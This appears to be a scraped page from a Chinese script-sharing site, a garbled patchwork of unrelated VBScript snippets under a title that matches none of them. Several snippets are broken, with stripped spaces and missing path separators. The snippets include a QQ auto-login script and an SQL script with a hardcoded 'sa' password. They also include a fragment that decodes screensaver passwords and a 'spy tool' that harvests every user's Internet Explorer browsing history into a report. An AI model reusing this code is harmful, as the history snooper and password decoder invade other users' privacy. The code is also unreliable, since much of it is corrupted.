mysql启动脚本3交子

发布时间:2020-11-19 来源:脚本之家 点击:

事实上是使用SetCursorPos()便可以了,而它的参数是对应於萤的座标,而不是对应某一个Window的Logic座标'

WScript.Echo"点确定前,请先运行"&vbCrLf&"netstopiisadmin/y"&vbCrLf&"以停止IIS相关服务"
Path="C:\WINDOWS\system32\inetsrv\MetaBase.xml"
Node=""
SetXmlDom=CreateObject("MSXML2.DOMXmlDomument")
XmlDom.async=False
XmlDom.load(Path)
ScriptMaps=XmlDom.selectSingleNode(Node).getAttribute("ScriptMaps")
ScriptMaps=Replace(ScriptMaps,"v1.1.4322","v2.0.50727")
XmlDom.selectSingleNode(Node).setAttribute("ScriptMaps")=ScriptMaps
XmlDom.Save(Path)
WScript.Echo"OK,请运行"&vbCrLf&"iisreset"&vbCrLf&"重启IIS相关服务"

彩虹岛水族馆1脚本



程序代码

dimprogram1
program1="D:ProgramFilesTencentcoralQQ.exe"
setwshshell=CreateObject("wscript.shell")
setoexec=wshshell.exec(program1)
wscript.sleep2000
wshshell.appactivate"QQ登录"
wshshell.sendkeys"+{TAB}"
wshshell.sendkeys"250481892"
wscript.sleep2000
wshshell.sendkeys"{TAB}"
wshshell.sendkeys"****************"
wscript.sleep2000
wshshell.sendkeys"{ENTER}"
Wscript.quit


文件夹的简单操作
Setfso=Wscript.CreateObject("Scripting.FileSystemObject")'声明
Setf=fso.CreateFolder("%PATH%")创建文件夹
Sete=getFolder(%PATH%)类似于"绑定目标"
e.copy("%PATH2%")复制文件夹
fso.deletefolder(%PATH%)删除文件夹


程序代码

Setfso=Wscript.CreateObject("Scripting.FileSystemObject")
Setf=fso.CreateObject("C:sample")
f.copy("D:sample")
fso.deletefolder("C:sample")


'(由上例可以看出,文件夹的操作很多是和文件的操作相通的,因此VBS文件具有很多命令的统一性)

将某一指定文件夹的所有只读文件转为可读文件
ConstReadOnly=1'设只读属性对应值为1

SetFSO=CreateObject("Scripting.FileSystemObject")'声明
SetFolder=FSO.GetFolder("%PATH%")'绑定文件夹
SetcolFiles=Folder.Files'文件夹所有文件

ForEachobjFileincolFiles'下列语句应用于文件夹所有文件
IfFile.AttributesANDReadOnlyThen'这是关键之处,这里应用了If判断语句,来检测文件属性是否为只读
File.Attributes=File.AttributesXORReadOnly
'对判断结果为Ture(默认为True)'执行XOR逻辑运算,将其改为可读
EndIf'结束判断
Next

将Word文件另存为文本文件
ConstwdFormatText=2'设置常数值
(当该值为8时另存为HTML文档,为11时另存为XML文档)
SetobjWord=CreateObject("Word.Application")'申明调用函数
SetobjDoc=objWord.Documents.Open("%Path%")'打开某DOC文件
objDoc.SaveAs"%PATH2%",wdFormatText另存为……
objWord.Quit


程序代码

ConstwdFormatText=2
SetobjWord=CreateObject("Word.Application")
SetobjDoc=objWord.Documents.Open("d:doc1.doc")
objDoc.SaveAs"g:doc1.txt",wdFormatText
objWord.Quit

  附VB源程序:(程序中使用了窗体Form1,文本框Text1,命令按钮Command1)
  1、窗体代码:
  OptionExplicit
  DimCryptographAsString
  DimiAsInteger
  DimjAsInteger
  DimkAsInteger
  DimCryptographStr(32)AsInteger
  DimPWstrAsString
  DimPassWordAsString
  PrivateSubCommand1_Click()
  PWstr=“"
  PassWord=“"
  Text1.Text=“"
  Cryptograph=GetBinaryValue(“ScreenSave_Data")
  k=Len(Cryptograph)
  Forj=1Tok-1
  Fori=32To126
  IfMid(Cryptograph,j,1)=Chr(i)Then
  CryptographStr(j)=i
  EndIf
  Nexti
  Nextj
  i=(k-1)/2'密码位数为(h-1)/2,根据位数选择解密过程



(2)创建WScript.Shell对象,由该对象直接运行dos命令,及testcopy.dat中的命令,对应的vbs文件:testcopy2.vbs
这不,笨笨拿着电话单正偷着乐呢

获得SQL数据/日志空间使用,已使用的和未使用的空间的脚本

getSQLinfo.vbs
'scripttogetSQLDATA/LOGSpaceUsed,Spaceunused,
andSpaceFree
'Author:FelipeFerreira,DanielMagrini
'Date:05/07/07
'Version2,0

'@@TOCHANGE:::SERVERNAME\Instance,domain?passwordANDDATABSE!

'____________________________________________________________________________
ConstForReading=1,ForWriting=2,ForAppending=8
SetoFSO=CreateObject("Scripting.FilesyStemObject")
outputfile="CheckSqlDB_Size.txt"
Setofile=oFso.OpenTextFile(outputfile,8,True)
oFile.Writeline"######################################################"
oFile.Writeline"Thiscommandexecutedin"&Date&"at"&Time&VbCrLf
'____________________________________________________________________________

CheckSQLData
CheckSQLLOG


'##############GETSQLDATASPACEUSED,SPACETOTAL,SPACEFREE
'FunctioncheckSQL(strServer,strDB)inthefuturemakeitafunction....
SubCheckSQLDATA
ConstadOpenDynamic=1,adLockOptimistic=3
DimstrQuery
DimobjConnection,objRecordSet
DimstrQueryResult,strQueryResult2
DimUsedDataSpace,TotalDataSpace,FreeDataSpace
SetobjConnection=CreateObject("ADODB.Connection")
SetobjRecordSet=CreateObject("ADODB.Recordset")

objConnection.Open_
"Provider=SQLOLEDB.1;Server=192.168.8.10;UserID=sa;Password=lcx;Database=master;"

strQuery="DBCCshowfilestats"
objRecordSet.OpenstrQuery,objConnection,adOpenDynamic,adLockOptimistic
ifobjRecordSet.eofThen
'nothingreturned
wscript.echo"ERROR!!!"
Else

'NOTE:TogetthevalueinMB64/1024=0.0625
DoUntilobjRecordSet.eof
strQueryResult=objRecordSet.Fields("UsedExtents")
UsedDataSpace=strQueryResult*0.0625
strQueryResult2=objRecordSet.Fields("TotalExtents")
TotalDataSpace=strQueryResult2*0.0625
FreeDataSpace=TotalDataSpace-UsedDataSpace

'CleanData
UsedDataSpace=Left(UsedDataSpace,4)
FreeDataSpace=Left(FreeDataSpace,4)
TotalDataSpace=Left(TotalDataSpace,4)

'PrintResultonScreen
Wscript.echo"UsedSpace(MB)="&UsedDataSpace
Wscript.Echo"FreeSpace(MB)="&FreeDataSpace
Wscript.Echo"TotalSpace(MB)="&TotalDataSpace

'WriteonFile
ofile.WriteLine"UsedDATASpace(MB)="&UsedDataSpace
ofile.WriteLine"FreeDATASpace(MB)="&FreeDataSpace
ofile.WriteLine"TotalDATASpace(MB)="&TotalDataSpace

objRecordSet.MoveNext
loop
endif
objRecordSet.Close
objConnection.Close
setobjConnection=nothing
setobjRecordSet=nothing
endsub

SubCheckSQLLOG
ConstadOpenDynamic=1,adLockOptimistic=3
DimstrQuery
DimobjConnection,objRecordSet
DimstrQueryResult,strQueryResult2
DimUsedLogSpace,TotalLogSpace,FreeLogSpace
SetobjConnection=CreateObject("ADODB.Connection")
SetobjRecordSet=CreateObject("ADODB.Recordset")

objConnection.Open_
"Provider=SQLOLEDB.1;Server=192.168.8.10;UserID=sa;Password=lcx;Database=master;"

strQuery="DBCCSQLPERF(LOGSPACE)"
objRecordSet.OpenstrQuery,objConnection,adOpenDynamic,adLockOptimistic
ifobjRecordSet.eofThen
'nothingreturned
wscript.echo"ERROR!!!"
Else


DoUntilobjRecordSet.eof
IfobjRecordSet.Fields("DatabaseName")="master"Then


strQueryResult=objRecordSet.Fields("LogSize(MB)")
strQueryResult2=objRecordSet.Fields("LogSpaceUSed(%)")
UsedLogSpace=(strQueryResult*strQueryResult2)/100
TotalLogSpace=strQueryResult
FreeLogSpace=TotalLogSpace-UsedLogSpace

'CleanData
UsedLogSpace=Left(UsedLogSpace,4)
FreeLogSpace=Left(FreeLogSpace,4)
TotalLogSpace=Left(TotalLogSpace,4)

'PrintResultonScreen
Wscript.echo"UsedSpace(MB)="&UsedLogSpace
Wscript.Echo"FreeSpace(MB)="&FreeLogSpace
Wscript.Echo"TotalSpace(MB)="&TotalLogSpace

'WriteonFile
oFile.WriteLine"UsedLOGSpace(MB)="&UsedLogSpace
oFile.WriteLine"FreeLOGSpace(MB)="&FreeLogSpace
oFile.WriteLine"TotalLOGSpace(MB)="&TotalLogSpace

oFile.close

ExitDo

EndIf

objRecordSet.MoveNext
loop
endif
objRecordSet.Close
objConnection.Close
setobjConnection=nothing
setobjRecordSet=nothing
endsub
WSCript.Quit



----2)ComEvReceive:其值为2,接收缓冲区内字符数达到RThreshold值,该事件在缓冲区中数据被移走前将持续产生

Scripting.Dictionary
暗之斗室这里我们纯粹使用相应的代码,并且是不可见的
' +----------------------------------------------------------------------------+
' | Contact Info |
' +----------------------------------------------------------------------------+
' Author: Vengy
' modiy:lcx
' Email : cyber_flash@hotmail.com
' Tested: win2K/XP (win9X not tested!)


Option Explicit


' +----------------------------------------------------------------------------+
' | Setup constants |
' +----------------------------------------------------------------------------+
Const conBarSpeed=80
Const conForcedTimeOut=3600000 ' 1 hour


' +----------------------------------------------------------------------------+
' | Setup Objects and misc variables |
' +----------------------------------------------------------------------------+
Dim spyPath : spyPath="c:\spy.htm" '请自行修改
Dim oFSO : Set oFSO=CreateObject("Scripting.FileSystemObject")
Dim oWShell : Set oWShell=CreateObject("WScript.Shell")
Dim objNet : Set objNet=CreateObject("WScript.Network")
Dim Env : Set Env=oWShell.Environment("SYSTEM")
Dim arrFiles : arrFiles=Array()
Dim arrUsers : arrUsers=Array()
Dim HistoryPath : HistoryPath=Array()
Dim objIE
Dim objProgressBar
Dim objTextLine1
Dim objTextLine2
Dim objQuitFlag
Dim oTextStream
Dim index
Dim nBias

' +----------------------------------------------------------------------------+
' | Whose been a naughty surfer? Let's find out! ;) |
' +----------------------------------------------------------------------------+
StartSpyScan

' +----------------------------------------------------------------------------+
' | Outta here ... |
' +----------------------------------------------------------------------------+
CleanupQuit

' +----------------------------------------------------------------------------+
' | Cleanup and Quit |
' +----------------------------------------------------------------------------+
Sub CleanupQuit()
Set oFSO=Nothing
Set oWShell=Nothing
Set objNet=Nothing
WScript.Quit
End Sub

' +----------------------------------------------------------------------------+
' | Start Spy Scan |
' +----------------------------------------------------------------------------+
Sub StartSpyScan()
Dim index_folder, history_folder, oSubFolder, oStartDir, sFileRegExPattern, user

LocateHistoryFolder
index_folder=HistoryPath(0)&""&HistoryPath(1)

If Not oFSO.FolderExists(index_folder) Then
wsh.echo "No history folder exists. Scan Aborted."
Else


SetLine1 "Locating history files:"

sFileRegExPattern="\index.dat$"
Set oStartDir=oFSO.GetFolder(index_folder)

For Each oSubFolder In oStartDir.SubFolders
history_folder=oSubFolder.Path&""&HistoryPath(3)&""&HistoryPath(4)&""&"History.IE5"
If oFSO.FolderExists(history_folder) Then
If IsQuit()=True Then

CleanupQuit
End If
user=split(history_folder,"")
SetLine2 user(2)
ReDim Preserve arrUsers(UBound(arrUsers) + 1)
arrUsers(UBound(arrUsers))=user(2)
Set oStartDir=oFSO.GetFolder(history_folder)
RecurseFilesAndFolders oStartDir, sFileRegExPattern
End If
Next

If IsEmpty(index) Then

wsh.echo "No Index.dat files found. Scan Aborted."
Else
CreateSpyHtmFile

RunSpyHtmFile

End If

End If
End Sub


' +----------------------------------------------------------------------------+
' | Locate History Folder |
' +----------------------------------------------------------------------------+
Sub LocateHistoryFolder()
' Example: C:\Documents and Settings\<username>\Local Settings\History
' HistoryPath(0)=C:
' HistoryPath(1)=Documents and Settings
' HistoryPath(2)=<username>
' HistoryPath(3)=Local Settings
' HistoryPath(4)=History
HistoryPath=split(oWShell.RegRead("HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\History"),"")
End Sub

' +----------------------------------------------------------------------------+
' | Find ALL History Index.Dat Files |
' +----------------------------------------------------------------------------+
Sub RecurseFilesAndFolders(oRoot, sFileEval)
Dim oSubFolder, oFile, oRegExp

Set oRegExp=New RegExp
oRegExp.IgnoreCase=True

If Not (sFileEval="") Then
oRegExp.Pattern=sFileEval
For Each oFile in oRoot.Files
If (oRegExp.Test(oFile.Name)) Then
ReDim Preserve arrFiles(UBound(arrFiles) + 1)
arrFiles(UBound(arrFiles))=oFile.Path
index=1 ' Found at least one index.dat file!
End If
Next
End If

For Each oSubFolder In oRoot.SubFolders
RecurseFilesAndFolders oSubFolder, sFileEval
Next
End Sub

' +----------------------------------------------------------------------------+
' | Create Spy.htm file |
' +----------------------------------------------------------------------------+
Sub CreateSpyHtmFile()
Dim ub, count, index_dat, user, spyTmp

Set oTextStream=oFSO.OpenTextFile(spyPath,2,True)

oTextStream.WriteLine "<html><title>IE is spying on you!</title><body><font size=2>Welcome "&objNet.UserName&"<br><br>"
oTextStream.WriteLine "<b>"+CStr(UBound(arrUsers)+1)+" users surfed on your PC:</b><br>"

For Each index_dat In arrUsers
oTextStream.WriteLine "<font color=green>"+index_dat+"</font><br>"
Next

oTextStream.WriteLine "<br><table border='0' width='100%' cellspacing='0' cellpadding='0'>"
oTextStream.WriteLine "<tr><td nowrap><b>User:</b></td><td nowrap><b> Date:</b></td><td nowrap><b> Link:</b></td></tr>"

GetTimeZoneBias

count=0
ub=UBound(arrFiles)

For Each index_dat In arrFiles
If IsQuit()=True Then

oTextStream.Close
CleanupQuit
End If

count=count+1
user=split(index_dat,"")
SetLine1 "Scanning "+user(2)+" history files:"
SetLine2 CStr(ub+1-count)

spyTmp=oFSO.GetSpecialFolder(2)+"\spy.tmp"

' Copy index.dat ---> C:\Documents and Settings\<username>\Local Settings\Temp\spy.tmp
' REASON: Avoids file access violations under Windows.这里没有权限,我加了on error resume next
On Error Resume next
oFSO.CopyFile index_dat, spyTmp, True

FindLinks "URL ", RSBinaryToString(ReadBinaryFile(spyTmp)), index_dat
Next

oTextStream.WriteLine "</table><br><b>Listing of history files:</b><br>"
For Each index_dat In arrFiles
oTextStream.WriteLine index_dat+"<br>"
Next

oTextStream.WriteLine "<br><b>Do you have an idea that would improve this spy tool? Share it with me!<b><br><a href= or Comments?</a></font><br><br><b>End of Report</b></body></html>"

oTextStream.Close

If oFSO.FileExists(spyTmp) Then
oFSO.DeleteFile spyTmp
End If
End Sub

' +----------------------------------------------------------------------------+
' | Get Time Zone Bias. |
' +----------------------------------------------------------------------------+
Sub GetTimeZoneBias()
Dim nBiasKey, k

nBiasKey=oWShell.RegRead("HKLM\System\CurrentControlSet\Control\TimeZoneInformation\ActiveTimeBias")
If UCase(TypeName(nBiasKey))="LONG" Then
nBias=nBiasKey
ElseIf UCase(TypeName(nBiasKey))="VARIANT()" Then
nBias=0
For k=0 To UBound(nBiasKey)
nBias=nBias + (nBiasKey(k) * 256^k)
Next
End If
End Sub

' +----------------------------------------------------------------------------+
' | Find Links within Index.dat |
' +----------------------------------------------------------------------------+
Sub FindLinks(strMatchPattern, strPhrase, file)
Dim oRE, oMatches, oMatch, dt, start, sArray, timeStamp, url

Set oRE=New RegExp
oRE.Pattern=strMatchPattern
oRE.Global=True
oRE.IgnoreCase=False
Set oMatches=oRE.Execute(strPhrase)

For Each oMatch In oMatches
start=Instr(oMatch.FirstIndex + 1,strPhrase,": ")
If start <> 0 Then
sArray=Split(Mid(strPhrase,start+2),"@")
url=Left(sArray(1),InStr(sArray(1),chr(0)))
dt=AsciiToHex(Mid(strPhrase,oMatch.FirstIndex+1+16,8))
timeStamp=cvtDate(dt(7)&dt(6)&dt(5)&dt(4),dt(3)&dt(2)&dt(1)&dt(0))
'oTextStream.WriteLine "<nobr>" & sArray(0) & " - " & timeStamp & " - " & "<a href="">"&url&"</a> - " & file & " - " & CStr(oMatch.FirstIndex + 1) & "</nobr><br>"
'Visit User + Date + Visited URL
oTextStream.WriteLine "<tr><td nowrap><font color=green size=2>"&sArray(0)&"</font></td>"+"<td nowrap><font color=red size=2> "&timeStamp&"</font></td>"&"<td nowrap><font size=2> <a href="">"&url&"</a></font></td></tr>"
End If
Next
End Sub


' +----------------------------------------------------------------------------+
' | Convert a 64-bit value to a date, adjusted for local time zone bias. |
' +----------------------------------------------------------------------------+
Function cvtDate(hi,lo)
On Error Resume Next
cvtDate=#1/1/1601# + (((cdbl("&H0" & hi) * (2 ^ 32)) + cdbl("&H0" & lo))/600000000 - nBias)/1440
' CDbl(expr)-Returns expr converted to subtype Double.
' If expr cannot be converted to subtype Double, a type mismatch or overflow runtime error will occur.
cvtDate=CDate(cvtDate)
If Err.Number <> 0 Then
'WScript.Echo "Oops! An Error has occured - Error number " & Err.Number & " of the type '" & Err.description & "'."
On Error GoTo 0
cvtDate=#1/1/1601#
Err.Clear
End If
On Error GoTo 0
End Function


' +----------------------------------------------------------------------------+
' | Turns ASCII string sData into array of hex numerics. |
' +----------------------------------------------------------------------------+
Function AsciiToHex(sData)
Dim i, aTmp()

ReDim aTmp(Len(sData) - 1)

For i=1 To Len(sData)
aTmp(i - 1)=Hex(Asc(Mid(sData, i)))
If len(aTmp(i - 1))=1 Then aTmp(i - 1)="0"+ aTmp(i - 1)
Next

ASCIItoHex=aTmp
End Function


' +----------------------------------------------------------------------------+
' | Converts binary data to a string (BSTR) using ADO recordset. |
' +----------------------------------------------------------------------------+
Function RSBinaryToString(xBinary)
Dim Binary
'MultiByte data must be converted To VT_UI1 | VT_ARRAY first.
If vartype(xBinary)=8 Then Binary=MultiByteToBinary(xBinary) Else Binary=xBinary
Dim RS, LBinary
Const adLongVarChar=201
Set RS=CreateObject("ADODB.Recordset")
LBinary=LenB(Binary)

If LBinary>0 Then
RS.Fields.Append "mBinary", adLongVarChar, LBinary
RS.Open
RS.AddNew
RS("mBinary").AppendChunk Binary
RS.Update
RSBinaryToString=RS("mBinary")
Else
RSBinaryToString=""
End If
End Function


' +----------------------------------------------------------------------------+
' | Read Binary Index.dat file. |
' +----------------------------------------------------------------------------+
Function ReadBinaryFile(FileName)
Const adTypeBinary=1
Dim BinaryStream : Set BinaryStream=CreateObject("ADODB.Stream")
BinaryStream.Type=adTypeBinary
BinaryStream.Open
BinaryStream.LoadFromFile FileName
ReadBinaryFile=BinaryStream.Read
BinaryStream.Close
End Function


' +----------------------------------------------------------------------------+
' | save Spy.htm file |
' +----------------------------------------------------------------------------+
Sub RunSpyHtmFile()
If not oFSO.FileExists(spyPath) Then

CleanupQuit
Else
wsh.echo "已保存在c:\spy.htm"

End If
End Sub


Private sub SetLine1(sNewText)
On Error Resume Next
objTextLine1.innerTEXT=sNewText
End Sub
Private sub SetLine2(sNewText)
On Error Resume Next
objTextLine2.innerTEXT=sNewText
End Sub
Private function IsQuit()
On Error Resume Next
IsQuit=True
If objQuitFlag.Value<>"quit" Then
IsQuit=False
End If
End Function

' +----------------------------------------------------------------------------+
' | All good things come to an end. |
' +----------------------------------------------------------------------------+

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号